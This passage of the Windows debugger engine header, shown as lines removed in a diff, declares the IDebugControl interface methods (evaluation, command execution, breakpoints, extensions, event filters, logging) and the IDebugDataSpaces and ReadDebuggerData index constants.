- // of the first character in the input string that was
- // not used when evaluating the expression.
- STDMETHOD(Evaluate)(
- THIS_
- __in PCSTR Expression,
- __in ULONG DesiredType,
- __out PDEBUG_VALUE Value,
- __out_opt PULONG RemainderIndex
- ) PURE;
- // Attempts to convert the input value to a value
- // of the requested type in the output value.
- // Conversions can fail if no conversion exists.
- // Successful conversions may be lossy.
- STDMETHOD(CoerceValue)(
- THIS_
- __in PDEBUG_VALUE In,
- __in ULONG OutType,
- __out PDEBUG_VALUE Out
- ) PURE;
- STDMETHOD(CoerceValues)(
- THIS_
- __in ULONG Count,
- __in_ecount(Count) PDEBUG_VALUE In,
- __in_ecount(Count) PULONG OutTypes,
- __out_ecount(Count) PDEBUG_VALUE Out
- ) PURE;
-
- // Executes the given command string.
- // If the string has multiple commands
- // Execute will not return until all
- // of them have been executed. If this
- // requires waiting for the debuggee to
- // execute an internal wait will be done
- // so Execute can take an arbitrary amount
- // of time.
- STDMETHOD(Execute)(
- THIS_
- __in ULONG OutputControl,
- __in PCSTR Command,
- __in ULONG Flags
- ) PURE;
- // Executes the given command file by
- // reading a line at a time and processing
- // it with Execute.
- STDMETHOD(ExecuteCommandFile)(
- THIS_
- __in ULONG OutputControl,
- __in PCSTR CommandFile,
- __in ULONG Flags
- ) PURE;
-
- // Breakpoint interfaces are described
- // elsewhere in this section.
- STDMETHOD(GetNumberBreakpoints)(
- THIS_
- __out PULONG Number
- ) PURE;
- // It is possible for this retrieval function to
- // fail even with an index within the number of
- // existing breakpoints if the breakpoint is
- // a private breakpoint.
- STDMETHOD(GetBreakpointByIndex)(
- THIS_
- __in ULONG Index,
- __out PDEBUG_BREAKPOINT* Bp
- ) PURE;
- STDMETHOD(GetBreakpointById)(
- THIS_
- __in ULONG Id,
- __out PDEBUG_BREAKPOINT* Bp
- ) PURE;
- // If Ids is non-NULL the Count breakpoints
- // referred to in the Ids array are returned,
- // otherwise breakpoints from index Start to
- // Start + Count 1 are returned.
- STDMETHOD(GetBreakpointParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Ids,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_BREAKPOINT_PARAMETERS Params
- ) PURE;
- // Breakpoints are created empty and disabled.
- // When their parameters have been set they
- // should be enabled by setting the ENABLE flag.
- // If DesiredId is DEBUG_ANY_ID then the
- // engine picks an unused ID. If DesiredId
- // is any other number the engine attempts
- // to use the given ID for the breakpoint.
- // If another breakpoint exists with that ID
- // the call will fail.
- STDMETHOD(AddBreakpoint)(
- THIS_
- __in ULONG Type,
- __in ULONG DesiredId,
- __out PDEBUG_BREAKPOINT* Bp
- ) PURE;
- // Breakpoint interface is invalid after this call.
- STDMETHOD(RemoveBreakpoint)(
- THIS_
- __in PDEBUG_BREAKPOINT Bp
- ) PURE;
-
- // Control and use extension DLLs.
- STDMETHOD(AddExtension)(
- THIS_
- __in PCSTR Path,
- __in ULONG Flags,
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(RemoveExtension)(
- THIS_
- __in ULONG64 Handle
- ) PURE;
- STDMETHOD(GetExtensionByPath)(
- THIS_
- __in PCSTR Path,
- __out PULONG64 Handle
- ) PURE;
- // If Handle is zero the extension
- // chain is walked searching for the
- // function.
- STDMETHOD(CallExtension)(
- THIS_
- __in ULONG64 Handle,
- __in PCSTR Function,
- __in_opt PCSTR Arguments
- ) PURE;
- // GetExtensionFunction works like
- // GetProcAddress on extension DLLs
- // to allow raw function-call-level
- // interaction with extension DLLs.
- // Such functions do not need to
- // follow the standard extension prototype
- // if they are not going to be called
- // through the text extension interface.
- // This function cannot be called remotely.
- STDMETHOD(GetExtensionFunction)(
- THIS_
- __in ULONG64 Handle,
- __in PCSTR FuncName,
- __out FARPROC* Function
- ) PURE;
- // These methods return alternate
- // extension interfaces in order to allow
- // interface-style extension DLLs to mix in
- // older extension calls.
- // Structure sizes must be initialized before
- // the call.
- // These methods cannot be called remotely.
- STDMETHOD(GetWindbgExtensionApis32)(
- THIS_
- __inout PWINDBG_EXTENSION_APIS32 Api
- ) PURE;
- STDMETHOD(GetWindbgExtensionApis64)(
- THIS_
- __inout PWINDBG_EXTENSION_APIS64 Api
- ) PURE;
-
- // The engine provides a simple mechanism
- // to filter common events. Arbitrarily complicated
- // filtering can be done by registering event callbacks
- // but simple event filtering only requires
- // setting the options of one of the predefined
- // event filters.
- // Simple event filters are either for specific
- // events and therefore have an enumerant or
- // they are for an exception and are based on
- // the exceptions code. Exception filters
- // are further divided into exceptions specially
- // handled by the engine, which is a fixed set,
- // and arbitrary exceptions.
- // All three groups of filters are indexed together
- // with the specific filters first, then the specific
- // exception filters and finally the arbitrary
- // exception filters.
- // The first specific exception is the default
- // exception. If an exception event occurs for
- // an exception without settings the default
- // exception settings are used.
- STDMETHOD(GetNumberEventFilters)(
- THIS_
- __out PULONG SpecificEvents,
- __out PULONG SpecificExceptions,
- __out PULONG ArbitraryExceptions
- ) PURE;
- // Some filters have descriptive text associated with them.
- STDMETHOD(GetEventFilterText)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG TextSize
- ) PURE;
- // All filters support executing a command when the
- // event occurs.
- STDMETHOD(GetEventFilterCommand)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG CommandSize
- ) PURE;
- STDMETHOD(SetEventFilterCommand)(
- THIS_
- __in ULONG Index,
- __in PCSTR Command
- ) PURE;
- STDMETHOD(GetSpecificFilterParameters)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params
- ) PURE;
- STDMETHOD(SetSpecificFilterParameters)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __in_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params
- ) PURE;
- // Some specific filters have arguments to further
- // qualify their operation.
- STDMETHOD(GetSpecificFilterArgument)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ArgumentSize
- ) PURE;
- STDMETHOD(SetSpecificFilterArgument)(
- THIS_
- __in ULONG Index,
- __in PCSTR Argument
- ) PURE;
- // If Codes is non-NULL Start is ignored.
- STDMETHOD(GetExceptionFilterParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Codes,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params
- ) PURE;
- // The codes in the parameter data control the application
- // of the parameter data. If a code is not already in
- // the set of filters it is added. If the ExecutionOption
- // for a code is REMOVE then the filter is removed.
- // Specific exception filters cannot be removed.
- STDMETHOD(SetExceptionFilterParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params
- ) PURE;
- // Exception filters support an additional command for
- // second-chance events.
- STDMETHOD(GetExceptionFilterSecondCommand)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG CommandSize
- ) PURE;
- STDMETHOD(SetExceptionFilterSecondCommand)(
- THIS_
- __in ULONG Index,
- __in PCSTR Command
- ) PURE;
-
- // Yields processing to the engine until
- // an event occurs. This method may
- // only be called by the thread that started
- // the debug session.
- // When an event occurs the engine carries
- // out all event processing such as calling
- // callbacks.
- // If the callbacks indicate that execution should
- // break the wait will return, otherwise it
- // goes back to waiting for a new event.
- // If the timeout expires, S_FALSE is returned.
- // The timeout is not currently supported for
- // kernel debugging.
- STDMETHOD(WaitForEvent)(
- THIS_
- __in ULONG Flags,
- __in ULONG Timeout
- ) PURE;
-
- // Retrieves information about the last event that occurred.
- // EventType is one of the event callback mask bits.
- // ExtraInformation contains additional event-specific
- // information. Not all events have additional information.
- STDMETHOD(GetLastEventInformation)(
- THIS_
- __out PULONG Type,
- __out PULONG ProcessId,
- __out PULONG ThreadId,
- __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation,
- __in ULONG ExtraInformationSize,
- __out_opt PULONG ExtraInformationUsed,
- __out_ecount_opt(DescriptionSize) PSTR Description,
- __in ULONG DescriptionSize,
- __out_opt PULONG DescriptionUsed
- ) PURE;
-
- // IDebugControl2.
-
- STDMETHOD(GetCurrentTimeDate)(
- THIS_
- __out PULONG TimeDate
- ) PURE;
- // Retrieves the number of seconds since the
- // machine started running.
- STDMETHOD(GetCurrentSystemUpTime)(
- THIS_
- __out PULONG UpTime
- ) PURE;
-
- // If the current session is a dump session,
- // retrieves any extended format information.
- STDMETHOD(GetDumpFormatFlags)(
- THIS_
- __out PULONG FormatFlags
- ) PURE;
-
- // The debugger has been enhanced to allow
- // arbitrary text replacements in addition
- // to the simple $u0-$u9 text macros.
- // Text replacement takes a given source
- // text in commands and converts it to the
- // given destination text. Replacements
- // are named by their source text so that
- // only one replacement for a source text
- // string can exist.
- STDMETHOD(GetNumberTextReplacements)(
- THIS_
- __out PULONG NumRepl
- ) PURE;
- // If SrcText is non-NULL the replacement
- // is looked up by source text, otherwise
- // Index is used to get the Nth replacement.
- STDMETHOD(GetTextReplacement)(
- THIS_
- __in_opt PCSTR SrcText,
- __in ULONG Index,
- __out_ecount_opt(SrcBufferSize) PSTR SrcBuffer,
- __in ULONG SrcBufferSize,
- __out_opt PULONG SrcSize,
- __out_ecount_opt(DstBufferSize) PSTR DstBuffer,
- __in ULONG DstBufferSize,
- __out_opt PULONG DstSize
- ) PURE;
- // Setting the destination text to
- // NULL removes the alias.
- STDMETHOD(SetTextReplacement)(
- THIS_
- __in PCSTR SrcText,
- __in_opt PCSTR DstText
- ) PURE;
- STDMETHOD(RemoveTextReplacements)(
- THIS
- ) PURE;
- // Outputs the complete list of current
- // replacements.
- STDMETHOD(OutputTextReplacements)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags
- ) PURE;
-
- // IDebugControl3.
-
- // Control options for assembly and disassembly.
- STDMETHOD(GetAssemblyOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddAssemblyOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveAssemblyOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetAssemblyOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- // Control the expression syntax.
- STDMETHOD(GetExpressionSyntax)(
- THIS_
- __out PULONG Flags
- ) PURE;
- STDMETHOD(SetExpressionSyntax)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // Look up a syntax by its abbreviated
- // name and set it.
- STDMETHOD(SetExpressionSyntaxByName)(
- THIS_
- __in PCSTR AbbrevName
- ) PURE;
- STDMETHOD(GetNumberExpressionSyntaxes)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetExpressionSyntaxNames)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer,
- __in ULONG FullNameBufferSize,
- __out_opt PULONG FullNameSize,
- __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer,
- __in ULONG AbbrevNameBufferSize,
- __out_opt PULONG AbbrevNameSize
- ) PURE;
-
- //
- // Some debug sessions have only a single
- // possible event, such as a snapshot dump
- // file; some have dynamic events, such as
- // a live debug session; and others may have
- // multiple events, such as a dump file that
- // contains snapshots from different points
- // in time. The following methods allow
- // discovery and selection of the available
- // events for a session.
- // Sessions with one or more static events
- // will be able to report all of the events
- // when queried. Sessions with dynamic events
- // will only report a single event representing
- // the current event.
- // Switching events constitutes execution and
- // changing the current event will alter the
- // execution status to a running state, after
- // which WaitForEvent must be used to process
- // the selected event.
- //
-
- // GetNumberEvents returns S_OK if this is the
- // complete set of events possible, such as for
- // a static session; or S_FALSE if other events
- // may be possible, such as for a dynamic session.
- STDMETHOD(GetNumberEvents)(
- THIS_
- __out PULONG Events
- ) PURE;
- // Sessions may have descriptive information for
- // the various events available. The amount of
- // information varies according to the specific
- // session and data.
- STDMETHOD(GetEventIndexDescription)(
- THIS_
- __in ULONG Index,
- __in ULONG Which,
- __in_opt PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DescSize
- ) PURE;
- STDMETHOD(GetCurrentEventIndex)(
- THIS_
- __out PULONG Index
- ) PURE;
- // SetNextEventIndex works like seek in that
- // it can set an absolute or relative index.
- // SetNextEventIndex works similarly to SetExecutionStatus
- // by putting the session into a running state, after
- // which the caller must call WaitForEvent. The
- // current event index only changes when WaitForEvent
- // is called.
- STDMETHOD(SetNextEventIndex)(
- THIS_
- __in ULONG Relation,
- __in ULONG Value,
- __out PULONG NextIndex
- ) PURE;
-
- // IDebugControl4.
-
- STDMETHOD(GetLogFileWide)(
- THIS_
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG FileSize,
- __out PBOOL Append
- ) PURE;
- STDMETHOD(OpenLogFileWide)(
- THIS_
- __in PCWSTR File,
- __in BOOL Append
- ) PURE;
-
- STDMETHOD(InputWide)(
- THIS_
- __out_ecount(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG InputSize
- ) PURE;
- STDMETHOD(ReturnInputWide)(
- THIS_
- __in PCWSTR Buffer
- ) PURE;
-
- STDMETHODV(OutputWide)(
- THIS_
- __in ULONG Mask,
- __in PCWSTR Format,
- ...
- ) PURE;
- STDMETHOD(OutputVaListWide)(
- THIS_
- __in ULONG Mask,
- __in PCWSTR Format,
- __in va_list Args
- ) PURE;
- STDMETHODV(ControlledOutputWide)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Mask,
- __in PCWSTR Format,
- ...
- ) PURE;
- STDMETHOD(ControlledOutputVaListWide)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Mask,
- __in PCWSTR Format,
- __in va_list Args
- ) PURE;
-
- STDMETHODV(OutputPromptWide)(
- THIS_
- __in ULONG OutputControl,
- __in_opt PCWSTR Format,
- ...
- ) PURE;
- STDMETHOD(OutputPromptVaListWide)(
- THIS_
- __in ULONG OutputControl,
- __in_opt PCWSTR Format,
- __in va_list Args
- ) PURE;
- STDMETHOD(GetPromptTextWide)(
- THIS_
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG TextSize
- ) PURE;
-
- STDMETHOD(AssembleWide)(
- THIS_
- __in ULONG64 Offset,
- __in PCWSTR Instr,
- __out PULONG64 EndOffset
- ) PURE;
- STDMETHOD(DisassembleWide)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DisassemblySize,
- __out PULONG64 EndOffset
- ) PURE;
-
- STDMETHOD(GetProcessorTypeNamesWide)(
- THIS_
- __in ULONG Type,
- __out_ecount_opt(FullNameBufferSize) PWSTR FullNameBuffer,
- __in ULONG FullNameBufferSize,
- __out_opt PULONG FullNameSize,
- __out_ecount_opt(AbbrevNameBufferSize) PWSTR AbbrevNameBuffer,
- __in ULONG AbbrevNameBufferSize,
- __out_opt PULONG AbbrevNameSize
- ) PURE;
-
- STDMETHOD(GetTextMacroWide)(
- THIS_
- __in ULONG Slot,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG MacroSize
- ) PURE;
- STDMETHOD(SetTextMacroWide)(
- THIS_
- __in ULONG Slot,
- __in PCWSTR Macro
- ) PURE;
-
- STDMETHOD(EvaluateWide)(
- THIS_
- __in PCWSTR Expression,
- __in ULONG DesiredType,
- __out PDEBUG_VALUE Value,
- __out_opt PULONG RemainderIndex
- ) PURE;
-
- STDMETHOD(ExecuteWide)(
- THIS_
- __in ULONG OutputControl,
- __in PCWSTR Command,
- __in ULONG Flags
- ) PURE;
- STDMETHOD(ExecuteCommandFileWide)(
- THIS_
- __in ULONG OutputControl,
- __in PCWSTR CommandFile,
- __in ULONG Flags
- ) PURE;
-
- STDMETHOD(GetBreakpointByIndex2)(
- THIS_
- __in ULONG Index,
- __out PDEBUG_BREAKPOINT2* Bp
- ) PURE;
- STDMETHOD(GetBreakpointById2)(
- THIS_
- __in ULONG Id,
- __out PDEBUG_BREAKPOINT2* Bp
- ) PURE;
- STDMETHOD(AddBreakpoint2)(
- THIS_
- __in ULONG Type,
- __in ULONG DesiredId,
- __out PDEBUG_BREAKPOINT2* Bp
- ) PURE;
- STDMETHOD(RemoveBreakpoint2)(
- THIS_
- __in PDEBUG_BREAKPOINT2 Bp
- ) PURE;
-
- STDMETHOD(AddExtensionWide)(
- THIS_
- __in PCWSTR Path,
- __in ULONG Flags,
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(GetExtensionByPathWide)(
- THIS_
- __in PCWSTR Path,
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(CallExtensionWide)(
- THIS_
- __in ULONG64 Handle,
- __in PCWSTR Function,
- __in_opt PCWSTR Arguments
- ) PURE;
- STDMETHOD(GetExtensionFunctionWide)(
- THIS_
- __in ULONG64 Handle,
- __in PCWSTR FuncName,
- __out FARPROC* Function
- ) PURE;
-
- STDMETHOD(GetEventFilterTextWide)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG TextSize
- ) PURE;
- STDMETHOD(GetEventFilterCommandWide)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG CommandSize
- ) PURE;
- STDMETHOD(SetEventFilterCommandWide)(
- THIS_
- __in ULONG Index,
- __in PCWSTR Command
- ) PURE;
- STDMETHOD(GetSpecificFilterArgumentWide)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ArgumentSize
- ) PURE;
- STDMETHOD(SetSpecificFilterArgumentWide)(
- THIS_
- __in ULONG Index,
- __in PCWSTR Argument
- ) PURE;
- STDMETHOD(GetExceptionFilterSecondCommandWide)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG CommandSize
- ) PURE;
- STDMETHOD(SetExceptionFilterSecondCommandWide)(
- THIS_
- __in ULONG Index,
- __in PCWSTR Command
- ) PURE;
-
- STDMETHOD(GetLastEventInformationWide)(
- THIS_
- __out PULONG Type,
- __out PULONG ProcessId,
- __out PULONG ThreadId,
- __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation,
- __in ULONG ExtraInformationSize,
- __out_opt PULONG ExtraInformationUsed,
- __out_ecount_opt(DescriptionSize) PWSTR Description,
- __in ULONG DescriptionSize,
- __out_opt PULONG DescriptionUsed
- ) PURE;
-
- STDMETHOD(GetTextReplacementWide)(
- THIS_
- __in_opt PCWSTR SrcText,
- __in ULONG Index,
- __out_ecount_opt(SrcBufferSize) PWSTR SrcBuffer,
- __in ULONG SrcBufferSize,
- __out_opt PULONG SrcSize,
- __out_ecount_opt(DstBufferSize) PWSTR DstBuffer,
- __in ULONG DstBufferSize,
- __out_opt PULONG DstSize
- ) PURE;
- STDMETHOD(SetTextReplacementWide)(
- THIS_
- __in PCWSTR SrcText,
- __in_opt PCWSTR DstText
- ) PURE;
-
- STDMETHOD(SetExpressionSyntaxByNameWide)(
- THIS_
- __in PCWSTR AbbrevName
- ) PURE;
- STDMETHOD(GetExpressionSyntaxNamesWide)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(FullNameBufferSize) PWSTR FullNameBuffer,
- __in ULONG FullNameBufferSize,
- __out_opt PULONG FullNameSize,
- __out_ecount_opt(AbbrevNameBufferSize) PWSTR AbbrevNameBuffer,
- __in ULONG AbbrevNameBufferSize,
- __out_opt PULONG AbbrevNameSize
- ) PURE;
-
- STDMETHOD(GetEventIndexDescriptionWide)(
- THIS_
- __in ULONG Index,
- __in ULONG Which,
- __in_opt PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DescSize
- ) PURE;
-
- STDMETHOD(GetLogFile2)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG FileSize,
- __out PULONG Flags
- ) PURE;
- STDMETHOD(OpenLogFile2)(
- THIS_
- __in PCSTR File,
- __in ULONG Flags
- ) PURE;
- STDMETHOD(GetLogFile2Wide)(
- THIS_
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG FileSize,
- __out PULONG Flags
- ) PURE;
- STDMETHOD(OpenLogFile2Wide)(
- THIS_
- __in PCWSTR File,
- __in ULONG Flags
- ) PURE;
-
- // GetSystemVersion always returns the kd
- // major/minor version numbers, which are
- // different than the Win32 version numbers.
- // GetSystemVersionValues can be used
- // to determine the Win32 version values.
- STDMETHOD(GetSystemVersionValues)(
- THIS_
- __out PULONG PlatformId,
- __out PULONG Win32Major,
- __out PULONG Win32Minor,
- __out_opt PULONG KdMajor,
- __out_opt PULONG KdMinor
- ) PURE;
- // Strings are selected with DEBUG_SYSVERSTR_*.
- STDMETHOD(GetSystemVersionString)(
- THIS_
- __in ULONG Which,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG StringSize
- ) PURE;
- STDMETHOD(GetSystemVersionStringWide)(
- THIS_
- __in ULONG Which,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG StringSize
- ) PURE;
-
- // Stack tracing with a full initial context
- // and full context return for each frame.
- // The FrameContextsSize parameter is the total
- // byte size of FrameContexts. FrameContextsEntrySize
- // gives the byte size of each entry in
- // FrameContexts.
- STDMETHOD(GetContextStackTrace)(
- THIS_
- __in_bcount_opt(StartContextSize) PVOID StartContext,
- __in ULONG StartContextSize,
- __out_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames,
- __in ULONG FramesSize,
- __out_bcount_opt(FrameContextsSize) PVOID FrameContexts,
- __in ULONG FrameContextsSize,
- __in ULONG FrameContextsEntrySize,
- __out_opt PULONG FramesFilled
- ) PURE;
- STDMETHOD(OutputContextStackTrace)(
- THIS_
- __in ULONG OutputControl,
- __in_ecount(FramesSize) PDEBUG_STACK_FRAME Frames,
- __in ULONG FramesSize,
- __in_bcount(FrameContextsSize) PVOID FrameContexts,
- __in ULONG FrameContextsSize,
- __in ULONG FrameContextsEntrySize,
- __in ULONG Flags
- ) PURE;
-
- // Some targets, such as user-mode minidump files,
- // have separate "event of interest" information
- // stored within them. This method allows
- // access to that information.
- STDMETHOD(GetStoredEventInformation)(
- THIS_
- __out PULONG Type,
- __out PULONG ProcessId,
- __out PULONG ThreadId,
- __out_bcount_opt(ContextSize) PVOID Context,
- __in ULONG ContextSize,
- __out_opt PULONG ContextUsed,
- __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation,
- __in ULONG ExtraInformationSize,
- __out_opt PULONG ExtraInformationUsed
- ) PURE;
-
- // Managed debugging support relies on debugging
- // functionality provided by the Common Language Runtime.
- // This method provides feedback on the engine's
- // use of the runtime debugging APIs.
- STDMETHOD(GetManagedStatus)(
- THIS_
- __out_opt PULONG Flags,
- __in ULONG WhichString,
- __out_ecount_opt(StringSize) PSTR String,
- __in ULONG StringSize,
- __out_opt PULONG StringNeeded
- ) PURE;
- STDMETHOD(GetManagedStatusWide)(
- THIS_
- __out_opt PULONG Flags,
- __in ULONG WhichString,
- __out_ecount_opt(StringSize) PWSTR String,
- __in ULONG StringSize,
- __out_opt PULONG StringNeeded
- ) PURE;
- // Clears and reinitializes the engine's
- // managed code debugging support.
- STDMETHOD(ResetManagedStatus)(
- THIS_
- __in ULONG Flags
- ) PURE;
-};
-
-//----------------------------------------------------------------------------
-//
-// IDebugDataSpaces.
-//
-//----------------------------------------------------------------------------
-
-// Data space indices for callbacks and other methods.
-#define DEBUG_DATA_SPACE_VIRTUAL 0
-#define DEBUG_DATA_SPACE_PHYSICAL 1
-#define DEBUG_DATA_SPACE_CONTROL 2
-#define DEBUG_DATA_SPACE_IO 3
-#define DEBUG_DATA_SPACE_MSR 4
-#define DEBUG_DATA_SPACE_BUS_DATA 5
-#define DEBUG_DATA_SPACE_DEBUGGER_DATA 6
-// Count of data spaces.
-#define DEBUG_DATA_SPACE_COUNT 7
-
-// Indices for ReadDebuggerData interface
-#define DEBUG_DATA_KernBase 24
-#define DEBUG_DATA_BreakpointWithStatusAddr 32
-#define DEBUG_DATA_SavedContextAddr 40
-#define DEBUG_DATA_KiCallUserModeAddr 56
-#define DEBUG_DATA_KeUserCallbackDispatcherAddr 64
-#define DEBUG_DATA_PsLoadedModuleListAddr 72
-#define DEBUG_DATA_PsActiveProcessHeadAddr 80
-#define DEBUG_DATA_PspCidTableAddr 88
-#define DEBUG_DATA_ExpSystemResourcesListAddr 96
-#define DEBUG_DATA_ExpPagedPoolDescriptorAddr 104
-#define DEBUG_DATA_ExpNumberOfPagedPoolsAddr 112
-#define DEBUG_DATA_KeTimeIncrementAddr 120
-#define DEBUG_DATA_KeBugCheckCallbackListHeadAddr 128
-#define DEBUG_DATA_KiBugcheckDataAddr 136
-#define DEBUG_DATA_IopErrorLogListHeadAddr 144
-#define DEBUG_DATA_ObpRootDirectoryObjectAddr 152
-#define DEBUG_DATA_ObpTypeObjectTypeAddr 160
-#define DEBUG_DATA_MmSystemCacheStartAddr 168
-#define DEBUG_DATA_MmSystemCacheEndAddr 176
-#define DEBUG_DATA_MmSystemCacheWsAddr 184
-#define DEBUG_DATA_MmPfnDatabaseAddr 192
-#define DEBUG_DATA_MmSystemPtesStartAddr 200
-#define DEBUG_DATA_MmSystemPtesEndAddr 208
-#define DEBUG_DATA_MmSubsectionBaseAddr 216
-#define DEBUG_DATA_MmNumberOfPagingFilesAddr 224
-#define DEBUG_DATA_MmLowestPhysicalPageAddr 232
-#define DEBUG_DATA_MmHighestPhysicalPageAddr 240
-#define DEBUG_DATA_MmNumberOfPhysicalPagesAddr 248
-#define DEBUG_DATA_MmMaximumNonPagedPoolInBytesAddr 256
-#define DEBUG_DATA_MmNonPagedSystemStartAddr 264
-#define DEBUG_DATA_MmNonPagedPoolStartAddr 272
-#define DEBUG_DATA_MmNonPagedPoolEndAddr 280
-#define DEBUG_DATA_MmPagedPoolStartAddr 288
-#define DEBUG_DATA_MmPagedPoolEndAddr 296
-#define DEBUG_DATA_MmPagedPoolInformationAddr 304
-#define DEBUG_DATA_MmPageSize 312
-#define DEBUG_DATA_MmSizeOfPagedPoolInBytesAddr 320
-#define DEBUG_DATA_MmTotalCommitLimitAddr 328
-#define DEBUG_DATA_MmTotalCommittedPagesAddr 336
-#define DEBUG_DATA_MmSharedCommitAddr 344
-#define DEBUG_DATA_MmDriverCommitAddr 352
-#define DEBUG_DATA_MmProcessCommitAddr 360
-#define DEBUG_DATA_MmPagedPoolCommitAddr 368
-#define DEBUG_DATA_MmExtendedCommitAddr 376
-#define DEBUG_DATA_MmZeroedPageListHeadAddr 384
-#define DEBUG_DATA_MmFreePageListHeadAddr 392
-#define DEBUG_DATA_MmStandbyPageListHeadAddr 400
-#define DEBUG_DATA_MmModifiedPageListHeadAddr 408
-#define DEBUG_DATA_MmModifiedNoWritePageListHeadAddr 416
-#define DEBUG_DATA_MmAvailablePagesAddr 424
-#define DEBUG_DATA_MmResidentAvailablePagesAddr 432
-#define DEBUG_DATA_PoolTrackTableAddr 440
-#define DEBUG_DATA_NonPagedPoolDescriptorAddr 448
-#define DEBUG_DATA_MmHighestUserAddressAddr 456
-#define DEBUG_DATA_MmSystemRangeStartAddr 464
-#define DEBUG_DATA_MmUserProbeAddressAddr 472
-#define DEBUG_DATA_KdPrintCircularBufferAddr 480
-#define DEBUG_DATA_KdPrintCircularBufferEndAddr 488
-#define DEBUG_DATA_KdPrintWritePointerAddr 496
-#define DEBUG_DATA_KdPrintRolloverCountAddr 504
-#define DEBUG_DATA_MmLoadedUserImageListAddr 512
-#define DEBUG_DATA_NtBuildLabAddr 520
-#define DEBUG_DATA_KiNormalSystemCall 528
-#define DEBUG_DATA_KiProcessorBlockAddr 536
-#define DEBUG_DATA_MmUnloadedDriversAddr 544
-#define DEBUG_DATA_MmLastUnloadedDriverAddr 552
-#define DEBUG_DATA_MmTriageActionTakenAddr 560
-#define DEBUG_DATA_MmSpecialPoolTagAddr 568
-#define DEBUG_DATA_KernelVerifierAddr 576
-#define DEBUG_DATA_MmVerifierDataAddr 584
-#define DEBUG_DATA_MmAllocatedNonPagedPoolAddr 592
-#define DEBUG_DATA_MmPeakCommitmentAddr 600
-#define DEBUG_DATA_MmTotalCommitLimitMaximumAddr 608
-#define DEBUG_DATA_CmNtCSDVersionAddr 616
-#define DEBUG_DATA_MmPhysicalMemoryBlockAddr 624
-#define DEBUG_DATA_MmSessionBase 632
-#define DEBUG_DATA_MmSessionSize 640
-#define DEBUG_DATA_MmSystemParentTablePage 648
-#define DEBUG_DATA_MmVirtualTranslationBase 656
-#define DEBUG_DATA_OffsetKThreadNextProcessor 664
-#define DEBUG_DATA_OffsetKThreadTeb 666
-#define DEBUG_DATA_OffsetKThreadKernelStack 668
-#define DEBUG_DATA_OffsetKThreadInitialStack 670
-#define DEBUG_DATA_OffsetKThreadApcProcess 672
-#define DEBUG_DATA_OffsetKThreadState 674
-#define DEBUG_DATA_OffsetKThreadBStore 676
-#define DEBUG_DATA_OffsetKThreadBStoreLimit 678
-#define DEBUG_DATA_SizeEProcess 680
